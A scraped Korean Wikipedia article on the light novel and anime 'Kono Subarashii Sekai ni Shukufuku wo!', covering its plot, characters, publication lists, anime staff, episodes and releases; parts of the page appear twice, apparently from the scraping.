키쿠타 코이치(菊田幸一) 미술감독 - 미야케 마사카즈(三宅昌和) 미술설정 - 후지이 카즈시(藤井一志) 세트 디자인 - 아오키 토모유키(青木智由紀, 제6화부터) 색채설계 - 요시다 사오리(吉田沙織) 촬영감독 - 하마오 시게미츠(浜尾繁光) 3D 감독 - 이마가키 카나(今垣佳奈) 편집 - 키무라 카시코(木村佳史子) 음향감독 - 이와나미 요시카즈(岩浪美和) 음악 - 코다 마사토(甲田雅人) 음악 제작 - 일본 컬럼비아 음악 프로듀서 - 아나이 켄타로(穴井健太郎) 프로듀서 - 오구라 리에(小倉理絵) 애니메이션 프로듀서 - 우라사키 노부미츠(浦崎宣光) 애니메이션 제작 - 스튜디오 딘 제작 - 코노스바제작위원회 주제가[편집] 오프닝 테마 「fantastic dreamer」[1] 노래 - Machico 엔딩 테마 「ちいさな冒険者」(작은 모험자) 노래 - 아쿠아(아마미야 소라), 메구밍(타카하시 리에), 다크니스(카야노 아이) 각화 리스트[편집] 각화 부제는 「이 ○○에(게) ○○을(를)!」을 기본으로 구성되어, 오프닝 도중에 삽입된다. 화수 일본어 부제 번역 부제 각본 그림 콘티 연출 작화감독 총작화감독 원작 제1기 제1화 この自称女神と異世界転生を! 이 자칭여신과이세계 전생을! 우에즈 마코토(上江洲誠) 카나사키 타카오미(金崎貴臣) 요시다 슌지(吉田俊司) 키타무라 토모유키(北村友幸)우노이케 카즈마(鵜池一馬) 키쿠타 코우이치(菊田幸一) 제1권 제2화 この中二病に爆焔を! 이 중이병에게 폭염을! 아카시로 아오이(朱白あおい) 미요시 마사토(三好正人) 키노시타 유우키(木下ゆうき)시미즈 카츠스케(清水勝祐) 코마츠 모모카(小松桃花) 제3화 この右手にお宝を! 이 오른손에 보물를! 나카무라 코우지로(中村浩二郎) 사이토 테츠토(斉藤哲人) 카도타 히데히코(門田英彦) 후루스미 치아키(古住千秋)나카자와 유우이치(中澤勇一) 키쿠타 코우이치 제4화 この強敵に爆裂魔法を! 이 강적에게폭렬마법을! 우에즈 마코토 아란 보쿠세키(亜嵐墨石) 밥 시라하타(ボブ白旗) 사노 에리(さのえり)오오츠카 야에(大塚八愛)카토 마유코(加藤万由子)이토 토모코(伊藤智子)미나미 신이치로(南伸一郎)코레모토 아키라(是本晶)이토 사치(伊藤幸) 코마츠 모모카 제5화 この魔剣にお値段を! 이 마검에 가격을! 아카시로 아오이 카나사키 타카오미 스즈키 사토시(鈴木孝聡) 야마무라 토시노리(山村俊了)시미즈 카츠스케 키쿠타 코우이치 제6화 このろくでもない戦いに決着を! 이 쓸데 없는싸움에 결착을! 우에즈 마코토 사이토 테츠토 요시다 슌지 카라스이케 카즈마(鴉池一馬)나카자와 유우이치키노시타 유우키 코마츠 모모카 제7화 この凍えそうな季節に二度目の死を! 이 얼 것 같은 계절에두 번째 죽음을! 아카시로 아오이 이세 마사히로(伊勢昌弘) 미요시 마사토 키타무라 토모유키오카자키 히로미(岡崎洋美)혼다 미유키(本多みゆき) 키쿠타 코우이치 제2권 제8화 この冬を越せない俺達に愛の手を! 이 겨울을넘길 수 없는 우리에게사랑의 손길을! 나카무라 코우지로 카나사키 타카오미 카도타 히데히코 나카야마 유미(中山由美)이데노 요시노리(出野喜則)나카지마 요시코(中島美子) 코마츠 모모카 제9화 この素晴らしい店に祝福を! 이 멋진 상점에 축복을! 아카시로 아오이 아란 보쿠세키 쿠보 타로(久保太郎) 나카자와 유우이치키노시타 유우키시미즈 카츠스케 키쿠타 코우이치 제10화 この理不尽な要塞に終焔を! 이 불합리한요새에 종염을! 우에즈 마코토 사이토 테츠토 요시다 슌지 혼다 미유키후루스미 치아키야마무라 토시노리카라스이케 카즈마키타무라 토모유키나카야마 유미 코마츠 모모카 제11화(OVA) この素晴らしいチョーカーに祝福を! 이 멋진초커에 축복을! 아카시로 아오이 카나사키 타카오미 이와모토 야스오 요시다 코우스케(吉田巧介) 키쿠타 코우이치 - 제2기 BD / DVD[편집] 권 발매일 수록화 규격품번 BD 한정판 DVD 한정판 1 2016년 3월 25일 제1화 - 제2화 KAXA-7341 KABA-10450 2 2016년 4월 27일 제3화 - 제4화 KAXA-7342 KABA-10451 3 2016년 5월 27일 제5화 - 제6화 KAXA-7343 KABA-10452 4 2016년 6월 24일 제7화 - 제8화 KAXA-7344 KABA-10453 5 2016년 7월 29일 제9화 - 제10화 KAXA-7345 KABA-10454 웹 라디오[편집] 《이 멋진 라디오에 축복을!》(この素晴らしいラジオに祝福を!은 2016년 7월 5일부터 HiBiKi Radio Station에서 격주 화요일에 보내지는 라디오 방송이다.[2] 퍼스널리티는 카즈마 역의 후쿠시마 준과, 메구밍 역의 타카하시 리에가 맡았다. 극장 애니메이션[편집] 2019년에 《이 멋진 세계에 축복을! 홍전설》(この素晴らしい世界に祝福を!紅伝説)이란 타이틀로 공개 예정[3]. 출처[편집] ↑ konosubaanimeのツイート (652797287630897152) ↑ “この素晴らしいラジオに祝福を!”. 《HiBiKi Radio Station》. 2016년 6월 24일에 확인함.  ↑ “映画「この素晴らしい世界に祝福を!」公式サイト”. 2018년 11월 5일에 확인함.  외부 링크[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.이 멋진 세계에 축복을! 가도카와 스니커 문고 공식 사이트 이 멋진 세계에 폭염을! - 본작의 스핀오프. 카즈마의 환생 1년 전의 홍마의 마을이 무대. 요조한(四畳半)에서 보이는 달 - 필자의 블로그. 애니메이션 『이 멋진 세계에 축복을!』 공식 사이트 애니메이션 『이 멋진 세계에 축복을! 2』 공식 사이트 영화 『이 멋진 세계에 축복을! 홍전설』 공식 사이트 TV 애니메이션 『코노스바』 공식 트위터 - 트위터 후지미 쇼보|이 멋진 세계에 축복을! 【이 멋진 세계에 축복을!】 팬카페 vdeh스튜디오 딘TV 애니메이션 메종일각 F-에프 란마 ½ 슈퍼즈간 D・N・A²~어딘가에서 잃어버린 그 녀석의 그 녀석~共 곰의 푸타로 귀신동자 ZENKI 하멜른의 바이올린 연주 체포하라 EAT-MAN HAUNTED 정션 넥스트 전기 EHRGEIZ 버리지 않고 데이지 바람의 검심 -메이지 검객 낭만담-(제67화에서) 쉐도우 스킬 괴짜가족 모모이로 시스터즈 AWOL -Absent Without Leave- 에덴보이 선계전 봉신연의 일본 제일의 남자의 영혼 아빠와 춤추자 육문천외 몬코레 나이트 구라비테숀 파괴마 사다미츠 스타오션 EX 후르츠 바스켓 코코로 도서관 RAVE 달빛천사 왕도둑 JING SAMURAI DEEPER KYO GetBackers-탈환가게- 봄버맨 제타즈 MOUSE 마탐정 로키 RAGNAROK 어둠과 모자와 책의 여행자 유메리아 북으로. ~Diamond Dust Drops~ tactics 마리아님이 보고계셔 오늘부터 마왕 Get Ride! 암드라이버 지팡 우에키의 법칙 응석 말아요!! 지옥소녀 송곳니 전설 WEED 남쪽 섬의 작은 비행기 버디 Fate/stay night 빙쵸탄 쓰르라미 울 적에 simoun 프린세스 프린세스 소년 음양사 샤이닝 티어즈 크로스 윈드 도화월탄 CODE-E 멋진 탐정 라비린스 시온의 왕 파천황 유희 개그만화 보기 좋은 날(제3기부터) 뱀파이어 기사 아마츠키 순정 로맨티카 꿈을 이뤄주는 코끼리 07-GHOST 괭이갈매기 울 적에 학생회의 일존 동물 환경 회의 GIANT KILLING 박앵귀 누라리횬의 손자 이것은 좀비입니까? 드래곤 크라이시스! 세계 제일의 첫사랑 포요포요 관찰일기共 비색의 조각 산카레아 팔견전 -동방팔견이문- 로젠 메이든 의로운 바람 당당!! 카네쓰구와 케이지 메가네부! 사쿠라 Trick pupa 와시모 WASIMO 막부말Rock 메시마세 로도스도 전기 ~그거 맛있는?~共 로그 호라이즌 (시즌 2) 쥬얼펫 매지컬 체인지 쇼와 겐로쿠 라쿠고 심중 이 멋진 세계에 축복을! 영검산 시리즈 리루리루 페어리루: 요정의 도어 SUPER LOVERS 돈까스 DJ 아게타로 사카모토입니다만? 나메코~세계의 친구~ 첫사랑 몬스터 리루리루 페어리루: 마법의 거울 가르쳐줘 페어리루: 마법의 펜듈럼 BAKUMATSU OVA 천사의 달걀 트와이 라이트 Q 미궁건물 FILE538 기동경찰 패트레이버 체포하라 무책임 함장 테일러 쉐도우 스킬 시리즈 귀신 동자 ZENKI 외전 ~암귀 기담~ 초기동 전설 다이나기가 바람의 검심 시리즈 R.O.D -READ OR DIE- 마리아님이 보고계셔 3rd 시즌 오늘부터 마왕 R 쓰르라미 울 적에 시리즈 세계 제일의 첫사랑 ~오노데라 리츠의 경우~ 박앵귀 설화록 Hybrid Child 쇼와 겐로쿠 라쿠고 심중 히어로 컴퍼니 극장 애니메이션 시끌별 녀석들 3 리멤버 마이 러브 시끌별 녀석들 4 램 더 포에버 기동경찰 패트레이버 the Movie 체포하라 the MOVIE 극장판 육문천외 몬코레 나이트 ~전설의 파이어 드래곤~ 이니셜 D Third Stage Fate/stay night UNLIMITED BLADE WORKS 은막 헤타리아 Axis Powers Paint it, White (하얗게 칠하자!) 극장판 박앵귀 시리즈 극장판 세계 제일의 첫사랑 ~요코자와 타카후미의 경우~ 음악소녀 극장판 「메이지 도쿄 연가」 웹 애니메이션 헤타리아 Starry☆Sky 共 : 공동 제작 이 멋진 세계에 축복을! 홍전설에 관한 분류: 일본의 애니메이션 영화  |  2019년 애니메이션 영화   |  J.C.STAFF   |  일본의 판타지 영화   |  판타지 애니메이션 영화 원본 주소 "https://ko.wikipedia.org/w/index.php?title=이_멋진_세계에_축복을!&oldid=24228249" 분류: 진행 중인 작품소설가가 되자2013년 소설판타지 만화라이트 노벨의 애니메이션화 작품UHF 애니메이션2016년 애니메이션2017년 애니메이션판타지 애니메이션스튜디오 딘일본의 판타지 소설월간 드래곤 에이지가도카와 스니커 문고2014년 소설2016년 소설숨은 분류: 일본어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AzərbaycancaBrezhonegCatalàکوردیDeutschEnglishEspañolFrançaisBahasa IndonesiaItaliano日本語Bahasa MelayuPortuguêsРусскийไทยTagalogTürkçeTiếng Việt中文Bân-lâm-gú 링크 편집 이 문서는 2019년 5월 16일 (목) 00:02에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
이 멋진 세계에 축복을! - 위키백과, 우리 모두의 백과사전 이 멋진 세계에 축복을! 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 이 문서는 미공개 또는 계획만 발표되었거나, 현재 진행 중인 작품의 내용을 포함하고 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요.정확한 내용을 반영할 수 있도록 문서 수정을 도와주세요. 이 멋진 세계에 축복을!この素晴らしい世界に祝福を! 장르 이세계 판타지, 코미디 소설 저자 아카츠키 나츠메 출판사 KADOKAWA 가도카와 쇼텐 레이블 가도카와 스니커 문고 권수 15권 + 스핀오프 7권 + 엑스트라 4권 15권 + 스핀오프 5권 + 엑스트라 3권 만화 작가 아카츠키 나츠메 (원작)미시마 쿠로네 (캐릭터 원안) 작화 와타리 마사히토 출판사 KADOKAWA 후지미 쇼보 레이블 드래곤 코믹스 에이지 권수 3권 (2016년 3월 현재) TV 애니메이션 원작 아카츠키 나츠메 감독 카나사키 타카오미 시리즈 구성 우에즈 마코토 캐릭터 디자인 키쿠타 코이치 음악 코다 마사토 애니메이션 제작 스튜디오 딘 제작 코노스바제작위원회 방송사 도쿄 MX 외 방영 기간 제1기: 2016년 1월 ~ 3월제2기: 2017년 1월 ~ 3월 화수 제1기: 전 10화 + OVA 1화 제2기: 전 10화 + OVA 1화 틀 - 토론 위키프로젝트 라이트 노벨·일본의 만화와 애니메이션 포털 문학·일본의 만화와 애니메이션 《이 멋진 세계에 축복을!》(この素晴らしい世界に祝福を!)은 아카츠키 나츠메가 집필한 일본의 라이트 노벨이다. 약칭은 《코노스바》 이다 일러스트는 미시마 쿠로네가 담당한다. 가도카와 스니커 문고(KADOKAWA 가도카와 쇼텐)에서 간행된다. 원래는 웹사이트 「소설가가 되자」에서 연재되었던 웹소설이었다. 또, 거기서 사용된 필명은 자택경비병(自宅警備兵)이었다. 2014년 9월 9일부터 "월간 드래곤 에이지"(KADOKAWA 후지미 쇼보)에서 만화판이 연재되기 시작했다. 2016년 1월부터 3월까지 텔레비전 애니메이션 제1기가 방영되었다. 제1기의 최종화에서 제2기의 제작이 발표되었다. 목차 1 줄거리 2 등장인물 2.1 주요 인물 3 간행 목록 3.1 소설 3.2 만화 3.3 드라마 CD 4 텔레비전 애니메이션 4.1 스태프 4.2 주제가 4.3 각화 리스트 4.4 BD / DVD 4.5 웹 라디오 5 극장 애니메이션 6 출처 7 외부 링크 줄거리[편집] 불의의 사고로 목숨을 잃은 고교생, 사토 카즈마는 천계에서 여신, 아쿠아에게 이세계 전생을 권유받는다. 아쿠아는 「이세계에는 원하는 것을 하나 가지고 갈 수 있다」고 이세계 전생의 특전을 들이밀며 권유하지만, 아쿠아의 태도가 너무나도 카즈마를 된장 찌꺼끼와 같이 바보 취급하고 있었기 때문에, 카즈마는 격노하여 아쿠아를 「이세계에 가지고 가는 "물건"」으로서 지목한다. 이리하여, 아쿠아를 데리고 이세계, 「액셀 마을」에 내려선 카즈마는, 운만이 이상하게 좋은 평범한 모험자가 되고, 머리가 나쁜 아쿠아는 지성 이외의 모든 스테이터스가 높은 아크 프리스트가 된다. 폭렬마법의 사용자이지만, 1발 쏘면 움직일 수 없게 되는 아크 위저드 메구밍과, 겉모습은 미소녀이지만 망상벽이 마조히스트로 공격이 맞지 않는 변태 크루세이더 다크니스를 동료로 더해 모험자 직업을 시작하게 되어, 그녀들의 행동에 휘둘리는 나날을 보내고 있었다. 그러나 점점 더 심해지는 한편 멈출 줄 모르는 이들의 문제 행동은, 마왕군과의 트러블이나, 악덕 영주와의 금전적 싸움, 최후는 마왕 토벌에 나서 일기토 등, 다양한 파란에 카즈마를 말려들게 한다. 소설 제1권 히키코모리에 니트인 사토 카즈마는 이세계 전생 아이템으로 여신 아쿠아를 길동무로 이세계에. 무일푼으로 이세계에 찾아온 두 사람은, 아르바이트로 겨우 끼니를 이어나가지만, 파티에 들어온 머리가 이상한 마법사 덕분에 마왕군 간부와 싸우는 지경에 이르게 된다. 소설 제2권 마구간 생활에 익숙해진 무렵에 겨울이 찾아와 생활 거점의 확보를 위해 유령 퇴치의 보상으로 저택을 손에 넣게되지만, 저택에 정착한 유령은 아쿠아에게 원인이 있었던 것으로 판명된다. 소설 제3권 디스트로이어 토벌의 공로자가 되어야 하지만, 영주 암살 혐의를 받은 재판에 부쳐지게 된다. 소설 제4권 액시즈 교단의 총본산 거리에 방문한 카즈마 일행은, 다시 마왕군 간부와 대치한다. 소설 제5권 융융에게 구애받은 카즈마는 홍마의 마을로 향하게 되고, 메구밍의 어머니인 유이유이의 책략에 의해 메구밍과 동침하게 된다. 소설 제6권 왕녀에게 「오빠」라고 불려 신경쓰이게 된 카즈마는, 국가를 노리는 적과 대치하기 위해, 은발도적단의 일원으로 암약한다. 소설 제7권 악덕 귀족의 모략에 걸린 다크니스를 탈환하기 위해 전재산을 쏟아부은 카즈마. 소설 제8권 마침내 여신 에리스가 액셀 마을에 강림한다. 소설 제9권 신문을 통해 왕도 가까이에 있는 요새에서 사신 월바크(女)가 이끄는 마왕군의 내습을 알고 달려가는 카즈마 일행. 등장인물[편집] ※성우는 드라마 CD판 / 애니판 순으로 기재. 성우 이름이 1명인 경우는, 애니판으로만 존재한다는 것을 나타낸다. 주요 인물[편집] 사토 카즈마 (일본어: 佐藤和真) 성우 - 오오사카 료타 / 후쿠시마 준 아쿠아 (일본어: アクア) 성우 - 후쿠하라 카오리 / 아마미야 소라 메구밍 (일본어: めぐみん) 성우 - 우치다 마아야 / 타카하시 리에 다크니스 (일본어: ダクネス) 성우 - 이노우에 마리나 / 카야노 아이 본명은 다스티네스 포드 라라티나(ダスティネス・フォード・ララティーナ). 위즈 (일본어: ウィズ) 성우 - 하야미 사오리 / 호리에 유이 간행 목록[편집] 소설[편집] 가도카와 스니커 문고(KADOKAWA 가도카와 쇼텐) この素晴らしい世界に祝福を! 권수 타이틀 발매일 ISBN 1 ああ、駄女神さま 2013년 10월 1일 [[:ja:Special:BookSources/9784041010204|ISBN 978-4-04-101020-4]] 2 中二病でも魔女がしたい! 2013년 12월 1일 [[:ja:Special:BookSources/9784041011102|ISBN 978-4-04-101110-2]] 3 よんでますよ、ダクネスさん。 2014년 2월 28일 [[:ja:Special:BookSources/9784041012420|ISBN 978-4-04-101242-0]] 4 鈍ら四重奏〜ナマクラカルテット〜 2014년 4월 26일 [[:ja:Special:BookSources/9784041015704|ISBN 978-4-04-101570-4]] 5 爆裂紅魔にレッツ&ゴー!! 2014년 8월 30일 [[:ja:Special:BookSources/9784041015711|ISBN 978-4-04-101571-1]] 6 六花の王女 2015년 2월 28일 [[:ja:Special:BookSources/9784041022672|ISBN 978-4-04-102267-2]] 7 億千万の花嫁 2015년 9월 1일 [[:ja:Special:BookSources/9784041035399|ISBN 978-4-04-103539-9]] 8 アクシズ教団VSエリス教団 2016년 1월 1일 [[:ja:Special:BookSources/9784041035405|ISBN 978-4-04-103540-5]] 9 紅の宿命オリジナルアニメブルーレイ付き同梱版 2016년 6월 24일 [[:ja:Special:BookSources/9784041039533|ISBN 978-4-04-103953-3]] 紅の宿命 2016년 7월 1일 [[:ja:Special:BookSources/9784041039540|ISBN 978-4-04-103954-0]] 10 ギャンブル・スクランブル 2016년 11월 1일 [[:ja:Special:BookSources/9784041049921|ISBN 978-4-04-104992-1]] この素晴らしい世界に爆焰を! 권수 타이틀 발매일 ISBN 1 めぐみんのターン 2014년 7월 1일 [[:ja:Special:BookSources/9784041018668|ISBN 978-4-04-101866-8]] 2 ゆんゆんのターン 2014년 12월 1일 [[:ja:Special:BookSources/9784041024386|ISBN 978-4-04-102438-6]] 3 ふたりは最強!のターン 2015년 6월 1일 [[:ja:Special:BookSources/9784041031018|ISBN 978-4-04-103101-8]] (오리지널 드라마 CD 부록 동봉판) この仮面の悪魔に相談を! 권수 발매일 ISBN 1 2016년 4월 1일 [[:ja:Special:BookSources/9784041042930|ISBN 978-4-04-104293-9]] 또, 본편 소설의 부제 모두가 다른 애니메이션의 제목을 모방한 것으로 되어있다. 디앤씨미디어 이 멋진 세계에 축복을! 권수 타이틀 발매일 ISBN 1 오! 나의 잉여신님 2015년 9월 10일 ISBN 9788926799796 2 중2병이라도 마녀가 하고 싶어! 2015년 10월 10일 ISBN 9788926799963 3 부르잖아요, 다크니스 씨. 2016년 1월 10일 ISBN 9791186906262 4 나태 사중주 ~나태 콰르텟~ 2016년 1월 10일 ISBN 9791186906279 5 폭렬홍마 레츠&고!! 2016년 3월 10일 ISBN 9791186906484 6 육화의 왕녀 2016년 5월 10일 ISBN 9791159810398 7 억천만의 신부 2016년 8월 10일 ISBN 9791127805562 8 아쿠시즈 교단 VS 에리스 교단 2016년 10월 10일 ISBN 9791127824259 9 붉은 숙명 2017년 2월 10일 ISBN 9791127840341 이 멋진 세계에 폭염을! 권수 타이틀 발매일 ISBN 1 메구밍의 턴 2016년 2월 10일 ISBN 9791186906422 2 융융의 턴 2016년 4월 10일 ISBN 9791159810046 3 두 사람은 최강!의 턴 2016년 6월 10일 ISBN 9791159810756 이 가면 악마에게 상담을! 권수 타이틀 발매일 ISBN 1 이 가면 악마에게 상담을! 2017년 01월 10일 ISBN 9791127839765 만화[편집] この素晴らしい世界に祝福を! 권수 발매일 ISBN 초출 1 2015년 4월 9일 [[:ja:Special:BookSources/9784040705392|ISBN 978-4-04-070539-2]] 월간 드래곤 에이지 2014년 10월호 - 2015년 2월호 2 2015년 12월 5일 [[:ja:Special:BookSources/9784040707822|ISBN 978-4-04-070782-2]] 월간 드래곤 에이지 2015년 3월호 - 2015년 9월호 3 2016년 3월 9일 [[:ja:Special:BookSources/9784040708348|ISBN 978-4-04-070834-8]] 월간 드래곤 에이지 2015년 10월호 - 2016년 3월호 4 2016년 9월 9일 [[:ja:Special:BookSources/9784040720197|ISBN 978-4-04-072019-7]] 월간 드래곤 에이지 2016년 4월호 - 2016년 9월호 드라마 CD[편집] 권수 타이틀 발매일 1 この素晴らしい世界に爆焔を! この真夏の海に騒乱を! 2015년 3월 1일 텔레비전 애니메이션[편집] 제1기가 2016년 1월부터 3월까지, 제2기가 2017년 1월부터 3월까지 방영되었다. 스태프[편집] 원작 - 아카츠키 나츠메 원작 일러스트 - 미시마 쿠로네 감독 - 카나사키 타카오미(金崎貴臣) 조감독 - 요시다 슌지(吉田俊司) 시리즈 구성 - 우에즈 마코토(上江洲誠) 캐릭터 디자인 - 키쿠타 코이치(菊田幸一) 미술감독 - 미야케 마사카즈(三宅昌和) 미술설정 - 후지이 카즈시(藤井一志) 세트 디자인 - 아오키 토모유키(青木智由紀, 제6화부터) 색채설계 - 요시다 사오리(吉田沙織) 촬영감독 - 하마오 시게미츠(浜尾繁光) 3D 감독 - 이마가키 카나(今垣佳奈) 편집 - 키무라 카시코(木村佳史子) 음향감독 - 이와나미 요시카즈(岩浪美和) 음악 - 코다 마사토(甲田雅人) 음악 제작 - 일본 컬럼비아 음악 프로듀서 - 아나이 켄타로(穴井健太郎) 프로듀서 - 오구라 리에(小倉理絵) 애니메이션 프로듀서 - 우라사키 노부미츠(浦崎宣光) 애니메이션 제작 - 스튜디오 딘 제작 - 코노스바제작위원회 주제가[편집] 오프닝 테마 「fantastic dreamer」[1] 노래 - Machico 엔딩 테마 「ちいさな冒険者」(작은 모험자) 노래 - 아쿠아(아마미야 소라), 메구밍(타카하시 리에), 다크니스(카야노 아이) 각화 리스트[편집] 각화 부제는 「이 ○○에(게) ○○을(를)!」을 기본으로 구성되어, 오프닝 도중에 삽입된다. 화수 일본어 부제 번역 부제 각본 그림 콘티 연출 작화감독 총작화감독 원작 제1기 제1화 この自称女神と異世界転生を! 이 자칭여신과이세계 전생을! 우에즈 마코토(上江洲誠) 카나사키 타카오미(金崎貴臣) 요시다 슌지(吉田俊司) 키타무라 토모유키(北村友幸)우노이케 카즈마(鵜池一馬) 키쿠타 코우이치(菊田幸一) 제1권 제2화 この中二病に爆焔を! 이 중이병에게 폭염을! 아카시로 아오이(朱白あおい) 미요시 마사토(三好正人) 키노시타 유우키(木下ゆうき)시미즈 카츠스케(清水勝祐) 코마츠 모모카(小松桃花) 제3화 この右手にお宝を! 이 오른손에 보물를! 나카무라 코우지로(中村浩二郎) 사이토 테츠토(斉藤哲人) 카도타 히데히코(門田英彦) 후루스미 치아키(古住千秋)나카자와 유우이치(中澤勇一) 키쿠타 코우이치 제4화 この強敵に爆裂魔法を! 이 강적에게폭렬마법을! 우에즈 마코토 아란 보쿠세키(亜嵐墨石) 밥 시라하타(ボブ白旗) 사노 에리(さのえり)오오츠카 야에(大塚八愛)카토 마유코(加藤万由子)이토 토모코(伊藤智子)미나미 신이치로(南伸一郎)코레모토 아키라(是本晶)이토 사치(伊藤幸) 코마츠 모모카 제5화 この魔剣にお値段を! 이 마검에 가격을! 아카시로 아오이 카나사키 타카오미 스즈키 사토시(鈴木孝聡) 야마무라 토시노리(山村俊了)시미즈 카츠스케 키쿠타 코우이치 제6화 このろくでもない戦いに決着を! 이 쓸데 없는싸움에 결착을! 우에즈 마코토 사이토 테츠토 요시다 슌지 카라스이케 카즈마(鴉池一馬)나카자와 유우이치키노시타 유우키 코마츠 모모카 제7화 この凍えそうな季節に二度目の死を! 이 얼 것 같은 계절에두 번째 죽음을! 아카시로 아오이 이세 마사히로(伊勢昌弘) 미요시 마사토 키타무라 토모유키오카자키 히로미(岡崎洋美)혼다 미유키(本多みゆき) 키쿠타 코우이치 제2권 제8화 この冬を越せない俺達に愛の手を! 이 겨울을넘길 수 없는 우리에게사랑의 손길을! 나카무라 코우지로 카나사키 타카오미 카도타 히데히코 나카야마 유미(中山由美)이데노 요시노리(出野喜則)나카지마 요시코(中島美子) 코마츠 모모카 제9화 この素晴らしい店に祝福を! 이 멋진 상점에 축복을! 아카시로 아오이 아란 보쿠세키 쿠보 타로(久保太郎) 나카자와 유우이치키노시타 유우키시미즈 카츠스케 키쿠타 코우이치 제10화 この理不尽な要塞に終焔を! 이 불합리한요새에 종염을! 우에즈 마코토 사이토 테츠토 요시다 슌지 혼다 미유키후루스미 치아키야마무라 토시노리카라스이케 카즈마키타무라 토모유키나카야마 유미 코마츠 모모카 제11화(OVA) この素晴らしいチョーカーに祝福を! 이 멋진초커에 축복을! 아카시로 아오이 카나사키 타카오미 이와모토 야스오 요시다 코우스케(吉田巧介) 키쿠타 코우이치 - 제2기 BD / DVD[편집] 권 발매일 수록화 규격품번 BD 한정판 DVD 한정판 1 2016년 3월 25일 제1화 - 제2화 KAXA-7341 KABA-10450 2 2016년 4월 27일 제3화 - 제4화 KAXA-7342 KABA-10451 3 2016년 5월 27일 제5화 - 제6화 KAXA-7343 KABA-10452 4 2016년 6월 24일 제7화 - 제8화 KAXA-7344 KABA-10453 5 2016년 7월 29일 제9화 - 제10화 KAXA-7345 KABA-10454 웹 라디오[편집] 《이 멋진 라디오에 축복을!》(この素晴らしいラジオに祝福を!은 2016년 7월 5일부터 HiBiKi Radio Station에서 격주 화요일에 보내지는 라디오 방송이다.[2] 퍼스널리티는 카즈마 역의 후쿠시마 준과, 메구밍 역의 타카하시 리에가 맡았다. 극장 애니메이션[편집] 2019년에 《이 멋진 세계에 축복을! 홍전설》(この素晴らしい世界に祝福を!紅伝説)이란 타이틀로 공개 예정[3]. 출처[편집] ↑ konosubaanimeのツイート (652797287630897152) ↑ “この素晴らしいラジオに祝福を!”. 《HiBiKi Radio Station》. 2016년 6월 24일에 확인함.  ↑ “映画「この素晴らしい世界に祝福を!」公式サイト”. 2018년 11월 5일에 확인함.  외부 링크[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.이 멋진 세계에 축복을! 가도카와 스니커 문고 공식 사이트 이 멋진 세계에 폭염을! - 본작의 스핀오프. 카즈마의 환생 1년 전의 홍마의 마을이 무대. 요조한(四畳半)에서 보이는 달 - 필자의 블로그. 애니메이션 『이 멋진 세계에 축복을!』 공식 사이트 애니메이션 『이 멋진 세계에 축복을! 2』 공식 사이트 영화 『이 멋진 세계에 축복을! 홍전설』 공식 사이트 TV 애니메이션 『코노스바』 공식 트위터 - 트위터 후지미 쇼보|이 멋진 세계에 축복을! 【이 멋진 세계에 축복을!】 팬카페 vdeh스튜디오 딘TV 애니메이션 메종일각 F-에프 란마 ½ 슈퍼즈간 D・N・A²~어딘가에서 잃어버린 그 녀석의 그 녀석~共 곰의 푸타로 귀신동자 ZENKI 하멜른의 바이올린 연주 체포하라 EAT-MAN HAUNTED 정션 넥스트 전기 EHRGEIZ 버리지 않고 데이지 바람의 검심 -메이지 검객 낭만담-(제67화에서) 쉐도우 스킬 괴짜가족 모모이로 시스터즈 AWOL -Absent Without Leave- 에덴보이 선계전 봉신연의 일본 제일의 남자의 영혼 아빠와 춤추자 육문천외 몬코레 나이트 구라비테숀 파괴마 사다미츠 스타오션 EX 후르츠 바스켓 코코로 도서관 RAVE 달빛천사 왕도둑 JING SAMURAI DEEPER KYO GetBackers-탈환가게- 봄버맨 제타즈 MOUSE 마탐정 로키 RAGNAROK 어둠과 모자와 책의 여행자 유메리아 북으로. ~Diamond Dust Drops~ tactics 마리아님이 보고계셔 오늘부터 마왕 Get Ride! 암드라이버 지팡 우에키의 법칙 응석 말아요!! 지옥소녀 송곳니 전설 WEED 남쪽 섬의 작은 비행기 버디 Fate/stay night 빙쵸탄 쓰르라미 울 적에 simoun 프린세스 프린세스 소년 음양사 샤이닝 티어즈 크로스 윈드 도화월탄 CODE-E 멋진 탐정 라비린스 시온의 왕 파천황 유희 개그만화 보기 좋은 날(제3기부터) 뱀파이어 기사 아마츠키 순정 로맨티카 꿈을 이뤄주는 코끼리 07-GHOST 괭이갈매기 울 적에 학생회의 일존 동물 환경 회의 GIANT KILLING 박앵귀 누라리횬의 손자 이것은 좀비입니까? 드래곤 크라이시스! 세계 제일의 첫사랑 포요포요 관찰일기共 비색의 조각 산카레아 팔견전 -동방팔견이문- 로젠 메이든 의로운 바람 당당!! 카네쓰구와 케이지 메가네부! 사쿠라 Trick pupa 와시모 WASIMO 막부말Rock 메시마세 로도스도 전기 ~그거 맛있는?~共 로그 호라이즌 (시즌 2) 쥬얼펫 매지컬 체인지 쇼와 겐로쿠 라쿠고 심중 이 멋진 세계에 축복을! 영검산 시리즈 리루리루 페어리루: 요정의 도어 SUPER LOVERS 돈까스 DJ 아게타로 사카모토입니다만? 나메코~세계의 친구~ 첫사랑 몬스터 리루리루 페어리루: 마법의 거울 가르쳐줘 페어리루: 마법의 펜듈럼 BAKUMATSU OVA 천사의 달걀 트와이 라이트 Q 미궁건물 FILE538 기동경찰 패트레이버 체포하라 무책임 함장 테일러 쉐도우 스킬 시리즈 귀신 동자 ZENKI 외전 ~암귀 기담~ 초기동 전설 다이나기가 바람의 검심 시리즈 R.O.D -READ OR DIE- 마리아님이 보고계셔 3rd 